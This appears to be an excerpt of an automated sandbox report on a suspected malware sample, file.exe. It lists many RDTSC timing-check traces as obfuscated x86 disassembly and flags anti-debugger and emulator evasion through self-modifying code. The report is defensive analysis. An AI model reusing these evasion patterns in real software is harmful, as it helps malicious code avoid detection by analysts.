Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60054 second address: 4B600CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F53D9251E87h 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F53D9251E87h 0x0000001d add si, 398Eh 0x00000022 jmp 00007F53D9251E89h 0x00000027 popfd 0x00000028 mov bx, cx 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600CC second address: 4B600E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600E4 second address: 4B600EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600EA second address: 4B600EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600EF second address: 4B600FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251E7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B600FE second address: 4B6011F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b pushad 0x0000000c mov edi, 52686F26h 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007F53D9251A4Dh 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6011F second address: 4B6017D instructions: 0x00000000 rdtsc 0x00000002 movsx edi, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F53D9251E88h 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 mov di, E8C2h 0x00000015 mov esi, edi 0x00000017 popad 0x00000018 call 00007F53D9251E7Fh 0x0000001d jmp 00007F53D9251E88h 0x00000022 pop ecx 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov bx, cx 0x0000002b push esi 0x0000002c pop edx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6017D second address: 4B6018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251A4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6018F second address: 4B601B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a mov cx, BC39h 0x0000000e push eax 0x0000000f push edx 0x00000010 call 00007F53D9251E84h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602D7 second address: 4B602DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602DD second address: 4B602E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602E1 second address: 4B60309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-14h], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F53D9251A59h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60309 second address: 4B6030D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6030D second address: 4B60313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6036F second address: 4B60375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60375 second address: 4B60379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603E5 second address: 4B603E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603E9 second address: 4B603ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603ED second address: 4B603F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603F3 second address: 4B6042C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F544A14FAC5h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F53D9251A57h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6042C second address: 4B6046A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, AE8Ah 0x00000007 mov esi, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F53D9251ED8h 0x00000012 jmp 00007F53D9251E7Dh 0x00000017 cmp dword ptr [ebp-14h], edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F53D9251E88h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6046A second address: 4B60470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60470 second address: 4B60476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60476 second address: 4B6047A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6047A second address: 4B6047E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6047E second address: 4B605AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F544A14FA5Bh 0x0000000e jmp 00007F53D9251A54h 0x00000013 mov ebx, dword ptr [ebp+08h] 0x00000016 jmp 00007F53D9251A50h 0x0000001b lea eax, dword ptr [ebp-2Ch] 0x0000001e pushad 0x0000001f mov di, cx 0x00000022 mov esi, 228E7849h 0x00000027 popad 0x00000028 xchg eax, esi 0x00000029 jmp 00007F53D9251A54h 0x0000002e push eax 0x0000002f pushad 0x00000030 mov ebx, 2AD0A844h 0x00000035 call 00007F53D9251A4Dh 0x0000003a jmp 00007F53D9251A50h 0x0000003f pop eax 0x00000040 popad 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F53D9251A57h 0x00000049 sbb eax, 16EED8BEh 0x0000004f jmp 00007F53D9251A59h 0x00000054 popfd 0x00000055 pushfd 0x00000056 jmp 00007F53D9251A50h 0x0000005b and ax, 89B8h 0x00000060 jmp 00007F53D9251A4Bh 0x00000065 popfd 0x00000066 popad 0x00000067 nop 0x00000068 jmp 00007F53D9251A56h 0x0000006d push eax 0x0000006e jmp 00007F53D9251A4Bh 0x00000073 nop 0x00000074 jmp 00007F53D9251A56h 0x00000079 xchg eax, ebx 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007F53D9251A57h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B605AC second address: 4B605EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53D9251E7Fh 0x00000009 xor si, 42EEh 0x0000000e jmp 00007F53D9251E89h 0x00000013 popfd 0x00000014 push esi 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B605EA second address: 4B605F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B605F0 second address: 4B60600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251E7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60600 second address: 4B60604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60604 second address: 4B6062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F53D9251E89h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6062A second address: 4B6062E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6062E second address: 4B60634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60634 second address: 4B6063A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6063A second address: 4B6063E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6063E second address: 4B60642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60663 second address: 4B606B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov ax, bx 0x00000008 popad 0x00000009 mov esi, eax 0x0000000b jmp 00007F53D9251E83h 0x00000010 test esi, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F53D9251E7Bh 0x0000001b add esi, 5458E5CEh 0x00000021 jmp 00007F53D9251E89h 0x00000026 popfd 0x00000027 push esi 0x00000028 pop ebx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606B5 second address: 4B606BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606BB second address: 4B606BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606BF second address: 4B50EAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F544A14F9C7h 0x00000011 xor eax, eax 0x00000013 jmp 00007F53D922B17Ah 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b leave 0x0000001c retn 0004h 0x0000001f nop 0x00000020 jmp 00007F53D9251A42h 0x00000022 cmp eax, 00000000h 0x00000025 setne cl 0x00000028 jmp 00007F53D9251A42h 0x0000002a jmp 00007F53D9251A42h 0x0000002c xor ebx, ebx 0x0000002e test cl, 00000001h 0x00000031 jne 00007F53D9251A47h 0x00000033 jmp 00007F53D9251B76h 0x00000038 call 00007F53DD873A1Ah 0x0000003d mov edi, edi 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007F53D9251A53h 0x00000048 sbb ch, 0000003Eh 0x0000004b jmp 00007F53D9251A59h 0x00000050 popfd 0x00000051 pushfd 0x00000052 jmp 00007F53D9251A50h 0x00000057 adc ax, 2138h 0x0000005c jmp 00007F53D9251A4Bh 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50EAF second address: 4B50F02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 movzx esi, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F53D9251E88h 0x00000012 mov dword ptr [esp], ebp 0x00000015 jmp 00007F53D9251E80h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F53D9251E87h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50F02 second address: 4B50F29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 mov edi, esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50F29 second address: 4B50F85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov bl, FFh 0x0000000d pushfd 0x0000000e jmp 00007F53D9251E88h 0x00000013 xor si, 4448h 0x00000018 jmp 00007F53D9251E7Bh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F53D9251E85h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50FE8 second address: 4B50FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50FED second address: 4B60A3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c mov eax, dword ptr [005421D8h+edi*4] 0x00000023 mov ecx, 4F8F2F2Ch 0x00000028 xor ecx, dword ptr [005421E0h] 0x0000002e add eax, ecx 0x00000030 inc eax 0x00000031 jmp eax 0x00000033 push esi 0x00000034 call 00007F53D9272DF4h 0x00000039 push ebp 0x0000003a push ebx 0x0000003b push edi 0x0000003c push esi 0x0000003d sub esp, 00000218h 0x00000043 mov esi, dword ptr [esp+0000022Ch] 0x0000004a mov dword ptr [esp+000001FCh], 00543EB0h 0x00000055 mov dword ptr [esp+000001F8h], 000000E6h 0x00000060 mov dword ptr [esp], 00000000h 0x00000067 mov eax, dword ptr [0053FD60h] 0x0000006c call eax 0x0000006e mov edi, edi 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A3C second address: 4B60A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A40 second address: 4B60A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A46 second address: 4B60A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F53D9251A4Dh 0x00000013 adc al, FFFFFFA6h 0x00000016 jmp 00007F53D9251A51h 0x0000001b popfd 0x0000001c mov esi, 0822A8D7h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A8B second address: 4B60B3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F53D9251E83h 0x00000008 pop eax 0x00000009 jmp 00007F53D9251E89h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push edx 0x00000014 mov si, CAF9h 0x00000018 pop ecx 0x00000019 push edi 0x0000001a mov dx, ax 0x0000001d pop eax 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 jmp 00007F53D9251E7Dh 0x00000025 mov ebp, esp 0x00000027 jmp 00007F53D9251E7Eh 0x0000002c cmp dword ptr [75AB459Ch], 05h 0x00000033 pushad 0x00000034 call 00007F53D9251E7Eh 0x00000039 pushfd 0x0000003a jmp 00007F53D9251E82h 0x0000003f and cl, FFFFFF98h 0x00000042 jmp 00007F53D9251E7Bh 0x00000047 popfd 0x00000048 pop eax 0x00000049 mov ecx, ebx 0x0000004b popad 0x0000004c je 00007F544A13FD4Fh 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F53D9251E7Dh 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B3D second address: 4B60B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B41 second address: 4B60B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B47 second address: 4B60B63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 4969873Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F53D9251A4Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60BA9 second address: 4B60BFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53D9251E81h 0x00000009 or si, EB56h 0x0000000e jmp 00007F53D9251E81h 0x00000013 popfd 0x00000014 movzx eax, bx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xor dword ptr [esp], 2D7B5F1Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F53D9251E86h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60BFA second address: 4B60C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F544A1469AFh 0x0000000e push 75A52B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AB4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F53D9251A55h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C25 second address: 4B60C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C2B second address: 4B60C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C2F second address: 4B60C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C33 second address: 4B60C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F53D9251A4Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60C52 second address: 4B60C58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60CAF second address: 4B60CF5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F53D9251A55h 0x00000008 sub ch, 00000046h 0x0000000b jmp 00007F53D9251A51h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F53D9251A4Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A9E second address: 4B70AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70AAD second address: 4B70AC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251A54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70AC5 second address: 4B70AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70AC9 second address: 4B70B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F53D9251A4Dh 0x00000011 xor si, 27F6h 0x00000016 jmp 00007F53D9251A51h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F53D9251A50h 0x00000022 jmp 00007F53D9251A55h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push ebx 0x0000002e pop eax 0x0000002f pushfd 0x00000030 jmp 00007F53D9251A4Fh 0x00000035 adc al, FFFFFF8Eh 0x00000038 jmp 00007F53D9251A59h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70B55 second address: 4B70B81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F53D9251E87h 0x00000008 pop eax 0x00000009 mov edi, 2AF92B4Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ebx, ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 mov dx, si 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70B81 second address: 4B70BB3 instructions: 0x00000000 rdtsc 0x00000002 call 00007F53D9251A56h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov ax, dx 0x00000010 popad 0x00000011 mov esi, dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F53D9251A4Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70BB3 second address: 4B70C14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c mov al, F7h 0x0000000e movsx edi, si 0x00000011 popad 0x00000012 je 00007F544A12F654h 0x00000018 pushad 0x00000019 pushad 0x0000001a mov al, 57h 0x0000001c movsx ebx, ax 0x0000001f popad 0x00000020 mov dx, cx 0x00000023 popad 0x00000024 cmp dword ptr [75AB459Ch], 05h 0x0000002b jmp 00007F53D9251E7Ch 0x00000030 je 00007F544A14770Fh 0x00000036 pushad 0x00000037 mov dx, cx 0x0000003a call 00007F53D9251E7Ah 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70C6F second address: 4B70C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70CD7 second address: 4B70CFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 558A99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7018A3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6FFE27 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 707F53 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5589BB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E8A206 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E88DCE instructions caused by: Self-modifying code
